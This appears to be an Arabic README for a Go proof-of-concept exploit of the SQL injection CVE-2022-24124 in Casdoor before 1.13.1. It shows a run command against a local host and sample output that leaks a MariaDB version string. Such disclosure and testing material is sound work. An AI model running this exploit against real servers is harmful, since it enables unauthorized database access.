POC لثغرة CVE-2022-24124

كود استغلال لثغرة CVE-2022-24124 المعروفة أيضاً باسم حقن SQL في Casdoor

روابط الاستغلال: [ExploitDB-50792] [PacketStormSecurity]

النتيجة المتوقعة: تفريغ إصدار قاعدة بيانات SQL على المضيف الذي يشغّل Casdoor < 1.13.1

مخصص للأغراض التعليمية والاختبار في بيئات الشركات فقط.

استخدام الاستغلال

Barricade➜ go run exploit.go -u http://127.0.0.1:8080

-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)

[*] Dumping Database Version
XPATH syntax error: .12-MariaDB-0+deb11u1